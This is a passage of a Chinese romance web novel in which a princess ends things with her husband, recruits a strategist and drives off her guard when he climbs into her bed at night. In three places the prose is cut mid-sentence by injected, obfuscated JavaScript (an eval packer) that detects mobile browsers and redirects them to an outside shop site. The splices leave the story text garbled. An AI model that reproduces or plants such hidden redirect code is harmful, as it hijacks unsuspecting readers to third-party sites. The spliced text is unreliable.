闻武顿时抓紧千里撼的肩膀,力气大的惊人,几乎将她抓出青紫,他像被踩到尾巴的猫从千里撼怀中惊起,迫切的想要解释着什么。 千里撼没有给他机会,捂住了他的嘴巴,像开玩笑一样说出了最后一句话,“可是十三郎,我的心不是铁打的,没人能够忍受一遍遍被推开。你拒绝了,我也不纠缠,所以我现在已经不喜欢你了。” 不喜欢了—— 这四个字在闻武脑中炸开,在他的千万次设想中,从千里撼口中说出这几个字并没那么难以接受,可今日居然真的听到了。 太阳穴一股一股的跳,头疼的快要裂开。 不要!我不要这样! 他听到了千里撼的喜欢,这是他拼尽全力想要得到的!是他应得的! 可为什么她能这么绝情,紧接着就要说不喜欢?为什么能说不喜欢就不喜欢! 女人都是这么绝情吗,还是说只有她? 她或许根本不在意,不在意他的死活。千里撼是骗子,彻头彻尾的骗子!分明连他有几根骨头都摸的清清楚楚却还捉弄他,看他兵荒马乱,耍的他团团转! “骗子!!” 闻武失态了,这是他第一次在千里撼面前露出完完整整的自己,面具掉在地上碎成渣滓,他什么都不在乎! 既然千里撼早就知晓一切为什么还要耍他,为什么要陪他玩儿? 他像个傻子! 千里撼永远那么游刃有余,像看穿一张白纸般轻易看穿他,诱惑他,又抛弃他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻武恨得咬牙切齿,“你再说一遍!” 千里撼面无表情道:“你已经没有机会了。” 豆大的泪珠砸在千里撼虎口,她将手藏在衣袖里偷偷攥成拳,闻武哭成了花脸猫,毫不掩饰其恶劣的本性,千里撼并非草木,她当然会动容,可就像她说所的,闻武没机会了。 “你、你在羞辱我,”闻武大口的喘着粗气,双眼死死盯着千里撼企图在她的脸上找到一丝不舍,可她没有,她像是无所谓,闻武一瞬间气笑了,盯着千里撼的嘴巴恶狠狠道,“说你还喜欢我,否则我现在就毒死你!” “闻武,别傻了,你固执的没有意义。” “闭嘴!我叫你说喜欢我,我不想听别的,你说啊!”他的尾音染上哭腔,虽然有意克制却根本藏不住。 “……回去吧。” 回去吧,回哪儿去? 闻武自嘲的笑了,笑自己蠢,大名鼎鼎的金安郡主怎么会任他摆布? 可他不甘心,千里撼不听话,没说出他想听的字,所以他要毒死她! 双唇猛的撞到一起,千里撼的嘴唇是温暖的,和他想象的完全不同,他以为会很冷。 这是他第一次亲人,磕的生疼。 千里撼无动于衷,像一尊死物,任凭闻武撒气。闻武显然不会,固执的钳制着千里撼,将她唇角润湿,企图撬开牙关闯入其中。 朦胧间,闻武睁开双眼,他发现千里撼在注视他,像在看一条发疯的狗。 实在是太滑稽了…… 闻武松开千里撼那瓣被蹂躏的不像样的下唇惨笑几声,须臾,竟大哭起来。 他像受了委屈的的孩子,埋在千里撼肩头,泪水打湿她的薄衫,他分明被拥抱着,为什么还是一无所有。 千里撼闭上眼,她的确心软了,但不会动摇,闻武和她之间有太长的路要走。 要恨就恨吧,恨一辈子也好。 43. 风月赋 十三 “听说了吗,郡主和姑爷吵架了!” “原来是真的!我说这几日姑爷怎么不出屋了,是因为什么呀?” “不知道啊。” “我知道我知道!” “嘘!我和你们说,那天我路过的时候听了一耳朵,姑爷说的什么‘你不爱我’,然后就开始哭。” “不对吧,我也听到了。我听郡主说什么‘不懂事’,还提到了罗凛。” “他们不会是因为罗凛吵架了吧?” “有可能哎!我看罗侍卫长的那么俊,又日日黏在郡主身旁,换我是姑爷也会不开心的吧。” “可姑爷也不差啊。我夜里有次撞见姑爷,还以为是夜游神来了呢。” “这话说的,郡主是何许人也,能留在她身边哪个不得是倾国倾城?” “是啊,说的我都心动了,我也好想日日在郡主身边伺候。她长得好看,身材又好,为人还大方。上次见到小栀夜里值勤冻的哆嗦,直接赏了一件貂裘!是不是呀小栀!到现在还挂在屋子里舍不得穿呢。” 小栀一听这话,急忙捂住通红的脸道,“别说了别说了,羞死了!” “你们瞧这死丫头,死心塌地了呢!” “不过你们说罗侍卫有机会吗?” “没有,我赌五文钱!姑爷那么漂亮,性格又好,郡主一定最喜欢姑爷!” “我不觉得唉,他们真的那么好干嘛还要吵架,况且这几天我看都是罗凛陪着郡主呢!要我说啊,罗侍卫心机重着呢!指不定哪天就把郡主勾引到手了,你看他那身材!啧啧啧!” “你这么也说倒也不是没可能啊!我记得前朝文慧公主的驸马不就是夜里爬床,这可是死罪!但文慧公主就是喜欢他,硬生生宝了下来,最后还成了驸马!” “哎呦!你可别拿那种人和罗侍卫比,罗侍卫多正直啊!那驸马心怀不轨,仗着公主喜欢他横行霸道,还企图控制公主!最后被文慧公主活活打死了!公主和他生的孩子也被记在了窦氏名下,白得个大胖姑娘,没给窦氏乐死。” “不过这也不失为一个办法,若是那驸马本本分分的,这或许还是段佳话呢。” “屁的佳话,你早晚要被男人骗的裤子都穿不上!” “是啊,那驸马本来就不是好人。不过也多亏他,男子爬床判的更重了,父母连坐!” “那无父无母的人岂不是就能爬了?” “……你是真不怕死啊?” “哈,”千里撼放下账本按了按太阳穴,她叫来罗凛道:“你去解释解释,顺带叫她们小声点儿,我头疼。” “是。” 罗凛一开窗,墙根底下一群人捧着瓜子儿和他面面相觑。 “郡主叫你们走远点去说。” “啊啊,好好好,我们这就走!”一群人顿时作鸟兽散,临走还时不时看着罗凛偷笑。 千里撼拄着脑袋无奈道:“你真是一点儿也不解释啊。” 罗凛将窗支住,“我不知怎么解释。” “算了,”千里撼问道,“钱双双那边近来可有消息?” “没有。” “玉折那边呢?” “玉都尉屡战屡胜,频频传来捷报。” “那就好,”千里撼掀黄历看了眼,居然已经过去半年,“应该快回了。” 罗凛:“嗯。” “等等。”千里撼突然意识道什么,看向罗凛狐疑道,“为什么是你在做这些,燕儿佩儿呢?” “郡主忘记了吗,你说春日适合游玩便给她们放假了。前几日佩儿姐姐来信说已经到了栾城。”罗凛解释道。 “原来是这样,我真是忙疯了。”千里撼挠了挠头,看着满桌公务一时两眼翻花。 阵阵香气拂面,掸清一身疲惫,千里撼闭上双眼默默道:“好香啊,是什么这么香?” “回郡主,是木槿花开了。”罗凛到园中采下一支木槿放在千里撼桌前。 纯白的花瓣带着点点露珠,还好是在白天遇见它,千里撼拿起那支花放在鼻下深吸,“已经七月了吗。” 怡人花香勾出些困意,千里撼道:“你回去吧,我想睡一会儿。” 罗凛点点头,为她盖上被子便退了出去。 他站在院中望着枝头出神,方才在墙根底下叽叽喳喳的几个小姑娘又钻出来围到他身前七嘴八舌的问起来。 “罗侍卫,怎么样啊?” “郡主到底喜不喜欢你呀?” “郡主说什么时候纳你了吗?” “哎呦你怎么不说话呀,急死人了!” 罗凛见她们比自己还要着急的模样无奈笑了下,将食指抵在唇间嘘了一声。 几人见此纷纷叹气,摇摇头又散了。 千里撼好久没睡的这样舒服,仿佛把这几个月的疲惫都赶走了,一觉睡到黄昏,再睁眼时漫天红霞。 她草草吃了口饭便坐廊下发呆,燕儿佩儿出去玩儿了,钱双双忙着找回家的路已经许久没理她,玉折远在边关,闻武和她冷战几个月,姥姥自从腿好了就一直四处串门根本没停过。 这段时间里只有罗凛陪着她。 可惜她和罗凛都心事重重,相处起来并不融洽。 好在朝中局势出奇的稳定,白笑孔身子愈发不好,其他皇嗣退出了战场,如今只剩白帝媐与白圣孺两派,诸位大臣也不例外,各抱各的大腿。 也许是在意边关战事,白笑孔格外关注,每每上朝都提这些,只要传来捷报她都能高兴很久。 “也不知这种日子还能过多久。”千里撼拄着脑袋喃喃道。 “启禀郡主,有客人来了。” 千里撼:“谁会在这个时候来?” “说是邵雍公主的人,带了东西来探望郡主。” “请进来吧。” 千里撼话音未落那人已至院中,躬身行礼道,“金安郡主别来无恙啊。” 碧衫红帶金丝冠,腰间还悬着酒壶,那人提着几包糕点便敢顶着邵雍公主的名头进入相府,还这么游刃有余。 千里撼眯了眯眼,鼻尖嗅到股药混着姜片的味道。她盘腿坐在廊下并无行动,拄着脑袋上下扫了那人一眼,懒懒道:“楚山孤?” “郡主好记性。” “呵呵,”千里撼抖了抖肩膀,漫不经心道,“这个时候你来做什么,不会是来告诉我想通了吧。” 楚山孤笑了下,“在下有些私情,今日想借公务与郡主告白。” 侍女一听这话瞬间竖起耳朵,放下茶盘也不舍得走,千里撼斟酌一番,屏退左右道,“如你所愿,有什么话直说吧。” “嗨呦!真是累死我了,”他大咧咧坐下与千里撼并排,将糕点随意丢在身旁道,“买这点东西真是不容易啊。” 千里撼见他这副模样一时竟笑了出来,道:“你这人倒是胆大。” “谬赞谬赞。”楚山孤笑嘻嘻的奉承几下便忙不迭的拆开糕点,将它们整齐摆在盘中,“这下就好看了。” 千里撼拿起一块瞧了瞧,“西城批来的栗子马蹄糕。” “郡主好眼力!” “我算是知道你为什么累了,”千里撼放下糕点调侃道,“分明皇城就有三两五块的马蹄糕你非要跑去西城买八文两块的,路上还顺带吃了顿美餐。你这小子,恐怕贪了白帝媐不少钱吧?” “嘿嘿,郡主好见识。”楚山孤美滋滋取一块放入口中,“自古以来,管采办的那个不贪?无非多少而已。何况上头心里明镜一般,将贪得那部分也算进了工资,如此说来,我若不贪便是不识抬举了。” “你很通透啊,只是上次见你还不这样呢。怎么,短短一年,转性了?”千里撼道。 “匆匆一面,能叫郡主记得在下名姓已是荣幸了。何况我这次来可是带着满满诚意,你瞧,”楚山孤拿起酒壶晃了晃道,“这个我都带来了。” “这是什么。” “郡主冰雪聪明,要不要猜猜?”楚山孤挑了挑眉毛道。 千里撼瞥了他一眼,道:“无聊。” “嘶——”楚山孤搓了搓下巴满脸疑惑,默默道:“难不成传言是错的?” “横行霸道、淫恣无度、好逸恶劳、道貌岸然、衣冠禽兽……”千里撼调侃道,“你听到的是我哪个传言?” “不不不不不,”楚山孤摆摆手道,“我听到的是幼有异才、博学多闻、傲然独得、任性不羁。” “你倒是会拍马屁。”千里撼顿了顿道,“你那酒壶里装的是药吧。” “嗯?何以见得。” “十步开外都能闻到你身上的味道,”千里撼无奈道,“我以为谁家药罐子成精了。” “咳咳,好吧。”楚山孤有些尴尬,拖起自己的酒壶瘪了瘪嘴道,“不过郡主近来身子也不太好吧。隔得老远,我就嗅到了鍼毒的味道。” 他说这话时眼珠突然亮了一瞬,双目紧紧盯住千里撼,两手拄地,带着意味不明的笑。 鍼毒,这是北疆特有的毒药,普天之下也没几个人知晓,当初闻武翻遍古籍才在一本《麟鬼》之中翻到解法。 千里撼手腕一歪,杯中热茶泼了楚山孤满脸,她敛了笑意,毫不掩饰目中杀意。 二人一高一低,适才轻快的气氛荡然无存,千里撼终于舍得转头正眼瞧他。 “楚山孤,你不怕死吗?” “没人不怕死,可在下更怕青史无名。”他像一只大猫,眯着眼睛憨态可掬,分明是狩猎的姿势却还那样撩人。 茶水划开假面,楚山孤今早敷的粉全都被剥了下来,他顿了顿,翻出帕子将妆卸了个干净,却听到千里撼轻笑。 “怎么,白帝媐给你的任务是色诱?”千里撼看着他一寸寸擦拭脸颊,将灰尘拂去,露出真容不禁笑出声来。 楚山孤轻笑一下,将头发撩到身后,直接把脸大大方方展示出来道,“郡主谬赞了。” 他的脸远比敷的那层粉要白,甚至白的有些发灰,紫色血管清晰可见。楚山孤懂得些易容之术,改变了五官的模样,将原本上调的眉眼压低,樱桃似的鼻头化大,显得稳重朴素,与卸妆之后截然不同。 千里撼看着看着,不自觉屈指蹭了蹭那片肌肤,月光下竟泛起淡淡蓝色,似珍珠一般。 “楚山孤,”她问道,“有没有人说过你其实长得很下流?” 楚山孤笑起来,“郡主是第一个。” 他将面颊贴上千里撼手背,闭上眼享受的蹭了蹭,发出“呼噜呼噜”的声音 当真是尤物。 “呵呵,”千里撼见他这副模样低笑起来,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292913|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定没在白帝媐面前卸过妆,否则她不会叫你来见我。” “郡主观人入微。” “好了,”千里撼抽回手道,“说正事吧,你那些勾人的能耐就不必展示了。” 楚山孤五指收拢还是没抓住千里撼,一时有些不快,他收拾一番,端坐道:“在下此次前来是为公主做说客。” “哦?说什么?” “郡主冰雪聪明,自然审时度势,懂得一山不容二虎的道理。如今大魏唯有千里家鼎盛如初,就连玉家也隐隐有了倾倒之势,满朝文武,连同当今圣上,都在郡主您的一句话。” “这顶帽子给我戴的太高了吧?”千里撼笑道。 “郡主志存高远,想必心中已有筹算。只是在下不自量力,为些私心还想同郡主说一句,”他支起身子,缓缓贴近千里撼,月光勾勒出楚山孤纤细的腰身,如金镶翡翠般耀眼迷人,“如今还不是时候。” 千里撼微微侧目,刚好撞进那对琉璃般的眼珠。氤氲的脂粉气和着淡淡药香沁人心脾,楚山孤仰头望着她,鼻尖几乎贴上千里撼的脸颊,呼出的热气打在她下唇。 “藏道先生,还能掐会算?”千里撼皱了皱眉,眼里染上一丝笑意调侃道。 “是,”楚山孤毫不避讳,指尖搭上千里撼手腕道,“我还算到你是这方天地的变数。” 千里撼闻言顿了顿,眼里闪过一丝诧异,她与他拉开些距离,脱去那层旖旎,理智回归道,“还有呢。” “天机不可泄露。但郡主,你注定会死,因为你不属于这里,”楚山孤指了指自己的眼珠,“因为我,看得见。” “那你今日来此究竟是为了什么呢,叫我注重养生之道?” 楚山孤盘腿坐直,望着皓月道,“我出生那年有方士曾言我活不过八岁,母亲带我遍寻名医也无用,直到八岁那年我听到一声雷鸣,之后再没生过病。自那以后我便不信命,至今已有十七年,大魏国运不盛我早有预料,只是两年前我又听见一道雷声,之后我看到股紫气钻进皇城。” “天地之间有正气,定乾坤,转龙凤。我百思不得其解,却无论如何都堪不破,直到遇见你,”楚山孤看向千里撼,那双凌厉的眉眼正注视着他,“金安郡主,我相信你就是那道紫气。” 千里撼:“你想要什么?” “郡主果然聪慧,”楚山孤笑笑,作揖道,“我要名留青史。” “嗤,”千里撼轻笑一声,“虚名啊……” “是虚名,但在下会行实事。人生一世不过百年,我看得见别人的命自然也看得见自己,比起苟活一世在下更想放手一搏,所以烦请郡主事成之后给我个小官做。” “多小的官?” 楚山孤:“丞相。” “哈!”千里撼仰头大笑,良久之后,再看楚山孤的眼神竟多了些欣赏,“你倒是个有野心的,不过就看你的能耐配不配得上了。” 楚山孤笑笑,朝千里撼狡黠的眨了眨眼道:“保证叫郡主物超所值。” “好,”千里撼从颈上取下一长串珍珠,上头隔着金子串了六颗猫眼石,她将那串珍珠放在楚山孤脸上比了比,“果然适合你,方才见你卸了妆就有这种感觉。送给你戴了。” “这是……”楚山孤捧着那串珍珠灵机一动道,“定情信物?” 千里撼斜了他一眼,“不,是我收买你的赃物。” “哦,好失望。”楚山孤撇撇嘴,新奇地将那串珍珠戴在脖颈朝千里撼展示,“如何,好看吗?” 千里撼点点头道:“好看。以后有多少珍珠和猫眼石我都送给你。” 楚山孤:“那看来郡主是想收买我一辈子了?” 千里撼:“这些东西就够买你一辈子么,你甩卖啊。” 楚山孤:“我给郡主打折嘛。” “好了别贫了,”千里撼道,“你方才说不是时候,什么不是时候。” 楚山孤:“兵变。” 这两个字像一把刀划过她的心口,千里撼闭了闭眼,像做了什么决定,“若我非要赌,胜算有几成。” “三成。” “……其实还好嘛,”千里撼打哈哈道,“藏道,我明白你的意思,如果可以我也想要万全之策。但形势所迫,就算我等得起,别人也等不起了。” “我就知道拦不住你,”楚山孤叹口气摇摇头道,“罢了罢了!我回去同公主复命了,你且斟酌吧。” “原来你这趟是来劝我的。”千里撼调侃道。 “不是,”楚山孤晃了晃胸前那串珍珠道,“我来取赃物。” 千里撼摆摆手道:“好好好。去吧,一边玩去吧。” 廊下空无一人,楚山孤拍了拍身子起身欲走,临行前又回头看了眼千里撼,她长发披散,肩上挂了件紫金外衫端坐,仿若老僧入定,一双眼望着明月不知在想什么。 他口中突然苦涩,喉咙愈发的紧,一番天人交战后,楚山孤还是开了口,“千里撼,你不要死。” “嗯?” “一定不要死。我把这辈子都压在你身上了。” 楚山孤说完便消失地无影无踪,似是不想叫千里撼找到他,连影子都没留下,只有辛辣的药香证明他曾来过。 千里撼耸了耸肩不禁笑了,“真是莫名其妙的人啊。” 44. 风月赋 十四 “如何,千里撼怎么说?” “回禀公主,她说愿唯公主马首是瞻,只是……” “只是?” 床幔后头,白帝媐侧躺着,不着寸缕,指尖掐着一只长长的烟斗吞云吐雾,在她身后禾华闭目浅睡呼吸均匀,带着满身红痕。白帝媐见状为其掖了掖被子,又轻拍几下,随后拉了件外衫罩在身上走了出去,“只是什么。” “郡主说想请公主帮她杀一个人。” “谁。” “闻祁。” “闻祁?”白帝媐歪了歪头,“我以为她会叫我杀千里逢啊,杀闻老头算怎么回事?” “藏道先生,你认为千里撼此举何意?” 楚山孤:“在下也不甚明白,只是听闻郡主十分宠爱闻家十三郎,而这十三郎从前在家颇受委屈,想必有此缘由。” “所以是为情?”白帝媐吐出一口白雾道,“想不到千里撼有一天也会被这东西困住。会吗……” 团团烟雾升腾,遮住白帝媐的表情,她余光有意无意的飘向床幔,突然想起千里撼送她的娟人娃娃,呼吸间又一大口白雾吐出,像被风卷跑的云。 烛火闪了闪,冒着幽幽暗光,厚重的被子压在千里撼身上,她出了一身的汗,脚掌凉飕飕的,太阳穴一跳一跳的疼,分明躺的极其不舒服却没有力气翻身,两只眼珠焦躁的乱颤,身体不时抽搐。 她想,大概是魇住了,可这滋味儿委实不好受,活像被盖进棺材,四周都是土腥味儿,叫人反胃! “嘎吱嘎吱……” 似乎是风把窗吹开了,那支憔悴的蜡烛终究还是夭折了,最后一点光亮消失,千里撼顿时陷进无穷无尽的灰。 她浑浑噩噩,身体绷得像拔河绳,仿佛下一科就会爆开,不知是不是幻觉,耳边莫名有窸窸窣窣的声音。 进老鼠了? 放屁!相府养了一群猫,去哪找老鼠!千里撼很快否定了自己,可如果不是进了老鼠,那么会是什么,猫? 如果是猫的话就还好。 不对。 猫不可能这么重! 她翻滚着眼珠,像要从眼眶里冲出来,拼尽全力的感知周围的一切。 身边突然多出道呼吸,这明显是个人! 扑通扑通扑通扑通扑通—— 千里撼一时有些分不清这是谁的心跳,可无论是谁的这都有点吓人了! 身侧一块床褥陷了下去,即使闭着眼她也能感受到自己正在被盯着,像菜市里被吊着的猪肉,巨大的黑影将她完全罩住,千里撼顿时感到空气有些稀薄。 是谁! 究竟是谁!! 她想尖叫,她想怒吼,可该死的梦魇就是不放过她!像那人的同伙般,死死按住她,不叫她反抗分毫。 该死的!该死! 一道呼吸落在千里撼额头,她僵硬片刻,浑身收紧,骨头不满的发出异响,嘎吱嘎吱…… 热气扑在她脸上,一下又一下,那人似乎并不急,撑着胳膊在她面前停了许久。 这贼到底想干嘛! 额前发丝被向后拨了拨,滚烫的手指为她擦掉汗珠,紧接着那双手开始不安分,在她脸上游走,一路滑向腰际,在几乎要摸到系帶的一瞬间却停止了。 千里撼拼尽全力同梦魇对抗,愤怒压抑着恐惧,她暗暗发誓,只要能醒过来一定要将这个贼人吊在房梁上猛抽三天三夜,再把他皮扒了铺在厕所做地毯! “哗啦哗啦……”一阵布料摩擦声。 又是干嘛? 千里撼正疑惑,忽然发现自己的手被人抓住抬了起来,紧接着放在了一个温暖的地方。 ……不对。 指尖随着那人动作一路下滑,嘴唇、下巴、脖颈、胸肌、腰腹…… 这人在用她的手摸自己? 什么癖好。 那道视线愈加炙热,仿佛要烫穿千里撼的皮肤,她有意抽手却动弹不得,汗出的越来越多,像是被雨淋了。 不行不行!再不醒真要出大事了!因为那个人开始解她的衣服了! 她求爷爷告奶奶,最后实在受不了了,仰天大喊一声“草”! 霎时间全身束缚消失,两眼猛的睁开,千里撼反应迅速,手伸进枕头掏出把匕首径直向前刺去,那人反应不及伸出手臂挡了下发出一声闷哼。 等等,这声音…… 千里撼愣了一瞬,手上力道变轻,四周一片漆黑,她眼前亦是如此,可单凭几个音节她也能猜到。 “你是——” 那人似是怕她道破,猛的压下身躯堵住了她的嘴巴,双手死死扼住千里撼。他浑身滚烫,全没了方才的的从容,一头卷发铺在床上死死捂住千里撼。 好在千里撼清醒的快,她膝盖一顶,那人吃痛一瞬,紧接着手腕一动调转匕首,一道寒光就这样横在那人颈间。 “罗凛,你想造反吗!”千里撼一字一句,咬牙切齿道。 匕首几乎就要刺入罗凛皮肤他却视若无睹,幽蓝的眼睛轻蔑的扫了扫它,似乎还在试探。他不说话,只看着千里撼沉默。 千里撼咬咬牙,刀剑刺破了他的肌肤,恶狠狠道,“说话!” 罗凛还是不语,沉默半晌忽然动起来,他似乎笃定千里撼不会杀他,竟对着匕首冲过去猛的环住千里撼。 事实证明他赌对了,匕首的确避开了,但一声清脆的巴掌却结结实实落到罗凛右脸。 他被打懵了,偏着头捂住脸,全身的火都熄了。 千里撼趁机点燃烛火获取安全感,屋内重新亮起来,罗凛捂着酥麻的右脸眼神阴鸷的盯着千里撼的动作,如同动物一般。然而就在灯亮的一瞬,他眼里竟隐隐有了泪光,尤其在千里撼回头的一瞬。 “罗凛你疯了吗?”千里撼拢了拢衣裳看向跪在榻上发愣的罗凛骂道,“我是怎么教你的,你又是怎么说的!你知不知道这是死罪!” 泪疙瘩一滴接一滴砸在床褥,似下了大雨般,千里撼第一次见罗凛流泪有些拿不准,收起三分怒气警惕的凑近他瞧了瞧。 的确是从眼睛里流出来的没错。 “你哭什么!我都没哭!打你不是应该吗,谁叫你半夜爬床,我杀了你都应该!”千里撼继续骂道。 罗凛还捂着脸颊面无表情的哭,她感到莫名其妙,自己这一巴掌真有这么疼吗?千里撼咬咬牙,怒气冲冲的拿开罗凛的手瞧了眼他右脸,的确是结结实实的一掌,五个指头清晰的印在上头。 但也不用哭成这样吧? “……别哭了!”千里撼碰了碰他的脸颊,眼神又瞥到罗凛手臂的伤口顿时又生气一股无名火,“怎么不疼死你!” 罗凛上身脱了个精光,全身毫无保留的展现在千里撼眼前,分明从前也看,但今日不晓得为何,竟格外诱人。 视线一瞬间游离,她反手给了自己个巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292914|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌,把罗凛吓一跳。 真是!想什么呢! 千里撼拿出药箱,随手撕了块布条,怎么疼怎么给罗凛包扎,故意勒得伤口渗血。罗凛看着她动作,像是哭够了,声音闷闷地,“对不起。” “呦,哭够了?”千里撼不怀好意的调侃道。 罗凛:“我只是太想陪在你身边……” 千里撼皱眉道,“这算什么理由?” “我、我听她们说、爬床就能永远留在你身边,我、我就……” “你听谁说的?你——”千里撼一愣,突然想起那日婢女们的浑话,她没想到罗凛真听进去了。 我的天这孩子怎么这么难带啊! 千里撼恨得直锤头,罗凛则规规矩矩跪在那儿时不时偷看她,一副受气的模样。说到底这是教育上出了问题,她作为他的监护人应该首当其冲问责。 这都什么事儿啊?! 她烦躁的拨了拨头发,拉住罗凛语重心长道,“孩子,你听我说哈,你这是违法犯罪,要蹲大狱的!且不说你是为了什么,就论你这方法,不可取!这分明是登徒子的行径,若非今日我认出了你,你早就身首异处了。况且你不能什么都学、什么都听,那驸马他就不是好人!谁家好人干这行径?这就是歪门邪道知道吗?” 罗凛点点头,吸了下鼻涕,声音闷闷的,“嗯。” 千里撼继续苦口婆心:“不管出于什么理由咱们都不能做坏事,坚决不能危害社会安全、违反公序良俗。你有什么想法呢,就提出来,我们可以商量嘛对不对?但你说你弄这么一出儿,那事情就不好办了,况且说你也不小了,你得有判断力。罗凛啊,你不是孩子了,以后我可能还要指着你呢,所以说你以后不能这样了知不知道?” “知道了。” “唉!”千里撼一拍大腿,叹气道,“知道了就回去吧,我就当今天的事没发生过。切记不要再犯。” 罗凛蹭了蹭眼泪道,“我不走。” “什么!”千里撼顿时叉腰大叫,“你要翻天呐?” “不是。我想在这儿睡,她们说只要我和你睡一觉就能永远待在你身边,我死也不要走,”罗凛说着,抓起被子就往自己身上裹,“我死也不走!” 千里撼看傻了,内心抓狂却捂着额头一点办法都没有,几番感叹义务教育的重要性,僵持良久终于妥协,“好好好,就一晚。” 罗凛将自己裹成粽子,千里撼愤愤爬上床,一脚把他踹向床尾,“明天一早醒来就给我滚。” “我会的。” 千里撼熄灭蜡烛和衣睡下,想着罗凛应该也不懂这些,否则刚才也不会先脱自己的衣裳。 不一会儿,脚下那颗巨大的“蚕蛹”偷偷露出脑袋,他看了看,便朝千里撼身旁蛄蛹,千里撼紧咬牙关青筋暴起,下一刻就要骂人,哪成想“蚕蛹”却突然张开将被子盖在她身上悄声道,“我们一起盖。” 好了,这下到嘴边的脏话又咽回去了。 千里撼长叹一声,认命的拍了拍罗凛,像拍孩子那般,“快别折腾了,我明日还有早朝呢。” 黑暗中,蓝色的眼睛悄悄睁开一只,罗凛巨大的身体缩在被子里只露出半颗脑袋,待千里撼睡熟便似八爪鱼般缠了上去。 他贴近千里撼,在她发间仔细嗅闻,轻啄几下,獠牙若隐若现。罗凛看着那人睡颜纠结许久,天人交战一番,最终贪婪的舔了舔嘴唇才算罢休。 45. 风月赋 十五 “郡主!我们回来了!” 燕儿背着个巨大的包袱蹦蹦跳跳走进来,手里挎着个篮子,见人就发礼物,里面装满了各式新奇玩应儿。佩儿跟在她身后,肩扛一个、手提一个、头顶一个,活像三座大山,千里撼见状默默向后躲了躲,顺便心疼起地板,估计待会儿又要碎上几块了。 “郡主!”燕儿扑到千里撼身前一把将其抱住蹭了蹭,“郡主有没有想我啊?罗凛那小子伺候的好吗,我怎么摸着郡主瘦了呢?” 千里撼:“想你想的。” 燕儿脸刷一下全红了,不自然的撅着嘴巴收敛着笑意,面带羞涩的嗔怪道,“哎呦!你干嘛!” 千里撼见她这模样,噗的一声笑了出来,待佩儿卸下一身重担到二人这边来时她们早已笑做一团。 “哈哈哈哈!郡主别笑了,看我给你带了什么来!”燕儿神秘兮兮的掏出个包裹,里三层外三层的拆开,最终露出块方方正正的玉石来。 “哎呦!哎呦这可不兴拿啊!”千里撼一眼瞧出这是和田玉,脸上早绷不住了,笑的牙不见眼,这块玉无论颜色手感都浑然天成,大小也刚刚好,简直就是为玉玺准备的绝世好料子! “诶~”燕儿同样笑的神秘,指着千里撼迟迟不语,两人默一对视,又笑做一团。 “说起这块玉还要靠佩儿,我们到林胥城时遇见个卖石头的,佩儿一眼就相中了这块。我和那人砍价从天黑砍到天亮,最后二十两拿下,引得一群人围在那儿看。最后我们一起把石头敲开,那老板一看是这么好的料子恨不得当场抽过去,哈哈哈哈哈哈!” “佩儿还有这能耐,”千里撼道,“老板定为难你们了吧?” “是,但被我一拳揍飞了。”佩儿道。 “哈哈哈打的好!”千里撼拍拍手道,“佩儿你这几个月跟着燕儿胡闹估计累坏了吧。” 佩儿:“不累。我们去了很多地方,玩得很开心。” “就是就是,我才没胡闹呢!”燕儿说着,又神秘兮兮的掏出个四四方方的螺钿盒,“不信你看这是什么。” 她打开木盒,顿时一阵异香扑鼻,千里撼抵住鼻子刚要偏过头去,目光却被拽住了,千丝银线缚翎羽,百鸟朝凤向东来,这是举世难见的雀羽金丝氅! “这东西,有钱都难买到,你们两个究竟是怎么弄到的?”千里撼将手放到大氅上轻轻抚摸,顺着翎羽的纹路向下攀爬。 传闻雀羽金丝氅举世仅有三件,一件为文慧公主所有后做陪葬,另一件则是前古国康夫人所有,后被盗墓贼发掘至今不知所踪,还有一件在白帝媐那里。 但燕儿带来这件远比那三件还要珍贵,因为这是由白孔雀的翎羽所制,整件衣裳全由金线连接银丝打底,无半分杂色,堪称稀世珍宝,价值连城! 燕儿道:“我听闻栾城壶海村有个人是前古国嫘裁缝的后人,想着碰碰运气。结果一到壶海村就跟进了孔雀窝似的,我当即就觉得来对了。后来果不其然找到了那人,只不过他死活都不肯给我们做” “后来呢?”千里撼问道。 佩儿道:“后来我拿刀架在他脖子上,他马上就给做了。” “还做了件最好的!”燕儿补充道。 “哈哈哈……”千里撼扶额低笑,“真有你们的。” 燕儿:“对了,罗凛那小子呢,怎么不见他?” “呃,我叫他出去采买了。” “他又惹郡主生气了?看我待会好好训他!” “算了算了……”千里撼摆摆手道。 燕儿好奇的环视一圈,“都这个时辰了,姑爷呢?往常这个时间姑爷都会找由头来见郡主啊。” 千里撼抿了抿唇,没说话。 燕儿见她这副模样,顿时有了些猜测,低声问道,“吵架啦?” 千里撼不语,默默点了点头,扣上盒子。 “哎呀,妻夫之间哪有不吵架的。”她放下东西安慰道,“况且姑爷他又是个心窄的人,会难过也正常,哄哄就好了。” “你倒是会劝和,”千里撼笑道,“不过这回你错了,是他不愿意理我。” “什么?”燕儿皱了皱眉,“他凭什么?” “不凭什么,凭一口气。”千里撼感叹道,“他已经有好几个月不曾理我了。” 